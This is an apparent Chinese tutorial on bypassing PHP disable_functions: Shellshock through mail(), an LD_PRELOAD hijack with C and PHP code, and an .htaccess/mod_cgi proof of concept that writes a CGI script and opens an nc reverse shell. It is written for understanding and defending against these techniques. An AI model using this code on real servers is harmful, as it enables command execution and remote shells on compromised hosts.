這次給大家帶來bypass disable functions執行PHP系統命令總結,bypass disable functions執行PHP系統命令的注意事項有哪些,下面就是實戰案例,一起來看一下。
一、為什麼要bypass disable functions
為了安全起見,很多營運人員會禁用PHP的一些“危險”函數,例如eval、exec、system等,將其寫在php.ini設定檔中,就是我們所說的disable functions了,特別是虛擬機器主機電訊廠商,為了徹底隔離同伺服器的客戶,以及避免出現大面積的安全問題,在disable functions的設定中也通常較為嚴格。
攻與防是對立的,也是互相補充的,既然有對函數的禁用措施,就會有人想方設法的去突破這層限制,我們只有在掌握突破方式以及原理的基礎之上,才能更好的去防範這類攻擊。
執行系統命令通常是攻擊者拿到網站webshell之後想要進一步動作的必然操作,如若不能執行系統命令,接下來的更深入的攻擊將很難繼續,所以就有了網站管理者禁用類似exec、system之類函數的現象。然而隨著技術的不斷進步,不斷有新的思路出現,單純的禁用這些函數,某些情況下已經不能阻止攻擊者達到執行系統命令的目的了,那麼攻擊者用什麼樣的方式突破了disable functions呢?我們又怎樣防範這樣的攻擊呢?
二、 Bash漏洞導致的任意命令執行
GNU Bash 環境變數遠程命令執行漏洞(CVE-2014-6271)是GNU Bash 的一個遠程代碼執行漏洞,在這個CVE的介紹中,可以看到這樣的描述:“GNU Bash 4.3及之前版本中存在安全性漏洞,該漏洞源於程式沒有正確處理環境變數值內的函數定義。遠程攻擊者可藉助特製的環境變數利用該漏洞執行任意代碼。以下產品和模組可能會被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模組,DHCP用戶端等”。實際上,PHP也可以利用這個漏洞做很多事情,甚至有可能直接在80導致遠程命令執行。關於這個漏洞的詳細情況可以查閱CVE-2014-6271的相關資料,此處不再贅述。
下面我們來看一下PHP到底什麼地方能用到bash的這個漏洞呢?其實可以用的地方不止一處,這裡我們以mail函數作為例子,其他地方同理,可以自行分析。
PHP的mail函數提供了3個必選參數和2個選擇性參數,這裡我們主要看最後一個參數,PHP官方手冊上對最後一個參數的說明:
“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “
簡單的說就是這個參數可以通過添加附加的命令作為發送郵件時候的配置,比如使用-f參數可以設定郵件寄件者等,官方文檔在範例Example #3也有所示範,具體可以參考官方文檔: http://php.net/manual/zh/function.mail.php 。
在mail函數的原始碼mail.c中,我們可以找到如下程式碼片段:
if (extra_cmd != NULL) { spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd); } else { sendmail_cmd = sendmail_path; }
如果傳遞了第五個參數(extra_cmd),則用spprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中(其中sendmail_path就是php.ini中的sendmail_path配置項),隨後將sendmail_cmd丟給popen執行:
#ifdef PHP_WIN32 sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC);#else /* Since popen() doesn't indicate if theinternal fork() doesn't work *(e.g. the shell can't be executed) we explicitly set it to 0 to be *sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd,"w");#endif
如果系統預設sh是bash,popen會派生bash進程,而我們剛才提到的CVE-2014-6271漏洞,直接就導致我們可以利用mail()函數執行任意命令,繞過disable_functions的限制。但是這裡其實有一個問題,就是extra_cmd在spprintf之前做了安全檢查,我當前的PHP版本是最新的7.2.4,代碼位置在mail.c的第371-375行:
if (force_extra_parameters) { extra_cmd =php_escape_shell_cmd(force_extra_parameters); } else if (extra_cmd) { extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd)); }
php_escape_shell_cmd函數會對特殊字元(包括`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)進行轉義,那這樣是不是就沒辦法了呢?不是的,我們可以通過putenv函數來設定一個包含自訂函數的環境變數,然後通過mail函數來觸發,網上早已有POC。
同樣調用popen派生進程的php函數還有imap_mail,或者還可能有其他的我們沒有發現的函數,所以如果要防範這類攻擊,最好的辦法就是從根源上入手,修複CVE-2014-6271這個bash漏洞。
三、LD_PRELOAD:無需bash漏洞
上文說到mail函數利用bash破殼漏洞可以實現突破disable functions的限制執行系統命令,但是像這樣的漏洞,一般安全意識稍好一點的營運人員,都會打上補丁了,那麼是不是打上補丁之後就一定安全了呢?顯然答案是否定的,LD_PRELOAD是Linux系統的下一個有趣的環境變數:
“ 它允許你定義在程式運行前優先載入的動態連結程式庫。這個功能主要就是用來有選擇性的載入不同動態連結程式庫中的相同函數。通過這個環境變數,我們可以在主程式和其動態連結程式庫的中間載入別的動態連結程式庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程式注入程式,從而達到特定的目的。 ”
它允許你定義在程式運行前優先載入的動態連結程式庫,我們只要知道這一件事就足夠了,這說明什嗎?這說明我們幾乎可以劫持PHP的大部分函數,還拿上文的mail函數作為例子,上文說過,php的mail函數實際上是調用了系統的sendmail命令,那麼我們來看一下sendmail都調用了哪些庫函數:
使用readelf -Ws /usr/sbin/sendmail命令來查看,我們發現sendmail函數在運行過程動態調用了很多標準庫函數,我們從中隨便選取一個庫函數geteuid進行測試。
首先我們編寫一個自己的動態連結程式,hack.c:
#include<stdlib.h>#include <stdio.h> #include<string.h> void payload() { system("touch/var/www/html/test");} int geteuid() {if(getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
當這個共用庫中的geteuid被調用時,嘗試載入payload()函數,執行命令,在/var/www/html目錄下建立一個名字為test的檔案。這裡實際應用時應該注意編譯平台和目標盡量相近,以及注意路徑問題,避免不必要的麻煩,這裡我們僅僅作為測試,不考慮這些問題。
[[email protected]]# gcc -c -fPIC hack.c -o hack[[email protected]]# gcc -shared hack -o hack.so
我們把hack.so放到WEB目錄,然後編寫一個PHP檔案進行測試:
<?phpputenv("LD_PRELOAD=/var/www/html/hack.so");mail("[email protected]","","","","");?>
我們的/var/www/html/目錄下本來只有hack.so和index.php這兩個檔案,當我們在瀏覽器中訪問index.php頁面之後,可以看到目錄下又多出了一個test檔案,說明我們的系統命令執行成功。
(PS:筆者實際測試時的環境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的環境,測試時遇到一個問題,就是每次重新整理訪問index.php時,虛擬機器的VM進程會瘋狂的讀寫硬碟,幾乎獨佔磁碟的所有啟用時間(機械硬碟),導致虛擬機器卡頓到連滑鼠都無法移動,物理機也因此受到影響明顯卡頓,約半小時左右這種情況會突然消失,最終測試結果成功。不知道是什麼原因引起這種現象,需要進一步研究,但不在本文討論範圍之內。)
這種繞過行為實施起來很簡單,並且目前為止還不受PHP與Linux版本的限制,但是也很容易防禦,只要禁用相關的函數(putenv)或者限制對環境變數的傳遞就可以了,但是要注意對現有業務是否造成影響。
其實對於這個問題,早在2008年就有人向PHP官方反饋過,只不過PHP給出的回複是你最好禁用putenv函數: https://bugs.php.net/bug.php?id=46741 ,所以我們有理由相信在後續的PHP版本中也不會對這個問題有什麼針對性的解決方案。
四、.htaccess:不止重新導向
大家對.htaccess檔案一定不陌生,沒錯,在apache的WEB環境中,我們經常會使用.htaccess這個檔案來確定某個目錄下的URL重寫規則,特別是一些開源的CMS或者架構當中經常會用到,比如著名的開源論壇discuz!,就可以通過.htaccess檔案實現URL的靜態化,大部分PHP架構,例如ThinkPHP和Laravel,在apache環境下會用.htaccess檔案實現路由規則。但是如果.htaccess檔案被攻擊者修改的話,攻擊者就可以利用apache的mod_cgi模組,直接繞過PHP的任何限制,來執行系統命令。
關於mode_cgi,可以參考apache的官方說明: http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。
“任何具有mime類型application/x-httpd-cgi或者被 cgi-script處理器(Apache 1.1或以後版本)處理的檔案將被作為CGI指令碼對待並由伺服器運行, 它的輸出將被返回給用戶端。通過兩種途徑使檔案成為CGI指令碼,或者檔案具有已由 AddType指令定義的副檔名,或者檔案位於 ScriptAlias目錄中。”,這就表示,apache允許WEB伺服器與可執行檔進行互動,這就意味著,你可以用C或者python編寫WEB應用,聽起來我們好像可以做任何apache許可權使用者能做的事情了,那麼到底如何?呢?
首先需要滿足幾個條件,第一,必須是apache環境,第二,mod_cgi已經啟用(在我的環境下是預設啟用的),第三,必須允許.htaccess檔案,也就是說在httpd.conf中,要注意AllowOverride選項為All,而不是none,第四,必須有許可權寫.htaccess檔案。其實這幾個條件還是比較容易滿足的,滿足了以上的條件,就可以“搞事情”了。
在apache的配置中,有一個非常重要的指令,Options,Options指令是Apache設定檔中一個比較常見也比較重要的指令,Options指令可以在Apache伺服器核心配置(server config)、虛擬機器主機配置(virtual host)、特定目錄配置(directory)以及.htaccess檔案中使用。Options指令的主要作用是控制特定目錄將啟用哪些伺服器特性。關於Options指令後可以附加的特性選項的具體作用及含義,可以參考這篇文章: http://www.365mini.com/page/apache-options-directive.htm ,當然我們用到的就是ExecCGI選項,表示允許使用mod_cgi模組執行CGI指令碼。除了Options,我們還要配合另外一個AddHandler指令來使用,如果你對AddHandler不太熟悉沒關係,這麼解釋一下就容易理解多了:AddType我們肯定很熟悉,比如配置apache對PHP的支援的時候,經常會添加一行類似AddTypeapplication/x-httpd-php .php這樣的配置,這其實是指定了副檔名和內容類型之間的映射關係,而AddHandler則是指定副檔名和處理常式之間的關係,也就是說,可以指定某個特定的副檔名的檔案,如何來進行處理。
有了Options和AddHandler,我們就可以隨便指定一個特定的副檔名以特定的程式來處理,這樣思路就很清晰了:先把要執行的程式寫入一個特定副檔名的檔案裡,然後修改.htaccess檔案,通過Options指令允許使用mod_cgi模組執行CGI指令碼,然後再讓我們特定的副檔名以cgi-script進行處理,這樣我們甚至可以反彈一個shell出來。
POC如下,附註釋:
<?php$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反彈一個shell出來,這裡用本地的4444連接埠$shellfile ="#!/bin/bash\n"; //指定shell$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定這個header,否則會返回500$shellfile .="$cmd"; functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter{ echo "$text: " . ($condition ?$yes : $no) . "<br>\n";}if(!isset($_GET['checked'])){ @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND); header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //執行環境的檢查}else{ $modcgi = in_array('mod_cgi',apache_get_modules()); // 檢測mod_cgi是否開啟 $writable = is_writable('.'); //檢測目前的目錄是否可寫 $htaccess = !empty($_SERVER['HTACCESS']);//檢測是否啟用了.htaccess checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No"); checkEnabled("Iswritable",$writable,"Yes","No"); checkEnabled("htaccessworking",$htaccess,"Yes","No"); if(!($modcgi && $writable&& $htaccess)) { echo "Error. All of the above mustbe true for the script to work!"; //必須滿足所有條件 } else { checkEnabled("Backing up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in .htaccess.bak","Failed!"); //備份一下原有.htaccesscheckEnabled("Write .htaccessfile",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandlercgi-script .dizzle"),"Succeeded!","Failed!");//.dizzle,我們的特定副檔名 checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//寫入檔案 checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//給許可權 echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //調用 }}?>
我們在本地開nc監聽4444連接埠,然後在瀏覽器中開啟這個頁面,如果執行成功,將會反彈一個shell到4444連接埠:
當訪問POC的時候,成功反彈了一個shell到本地的4444連接埠,可以看到執行id命令後的回顯。
五、其他方式
除上述方式外,在某些特定情況下,還有很多能夠繞過php.ini的禁用函數達到執行系統命令目的的方法,但是由於這些方法受到的限制頗多,很少有滿足條件的真實環境,所以鑒於篇幅原因,以下只粗略介紹幾個其他繞過方式,並提供相關的詳細介紹的文章連結,如果有興趣詳細瞭解,可以參考互連網上的相關資料。
ImageMagick
ImageMagick是一款使用量很廣的圖片處理常式,很多廠商包括Discuz、Drupal、Wordpress等常用CMS中也調用了ImageMagick擴充或ImageMagick庫進行圖片處理,包括圖片的伸縮、切割、浮水印、格式轉換等等。在ImageMagick6.9.3-9以前的所有版本中都存在一個漏洞,當使用者傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入,官方在6.9.3-9版本中對漏洞進行了不完全的修複。關於這個漏洞的具體利用和防禦方式可以參考:
http://wooyun.jozxing.cc/static/drops/papers-15589.html 。
pcntl_exec
pcntl是linux下的一個擴充,可以支援php的多線程操作。很多時候會碰到禁用exec函數的情況,但如果營運人員安全意識不強或對PHP不甚瞭解,則很有可能忽略pcntl擴充的相關函數。
COM 組件
Windows環境下,當php.ini的設定項com.allow_dcom =true時,可以通過COM組件執行系統命令,甚至開啟安全模式也可以,相關資料參考: https://www.exploit-db.com/exploits/4553/ 。
win32std
win32std是一個很老的PHP擴充,其中的win_shell_execute函數可以用來執行Windows系統命令: https://www.exploit-db.com/exploits/4218/ 。
六、總結
對於入侵者來說,拿到一個webshell之後,如果想要進一步擷取更高的許可權或更多的資料和資訊,執行系統命令幾乎是必須的。當我們在PHP應用中出現了某些紕漏導致遭到入侵時,如何讓損失降到最低就成了首要的問題。從本文已經列舉的方法中不難看出只要掌握了這些原理,防範工作是非常簡單有效,只要經常關注安全動態,是完全可以做到對以上繞過措施進行防禦的。
相信看了本文案例你已經掌握了方法,更多精彩請關注php中文網其它相關文章!
推薦閱讀:
PHP+ajax實現擷取新聞資料案例詳解
php curl批處理實現可控並發非同步作業案例詳解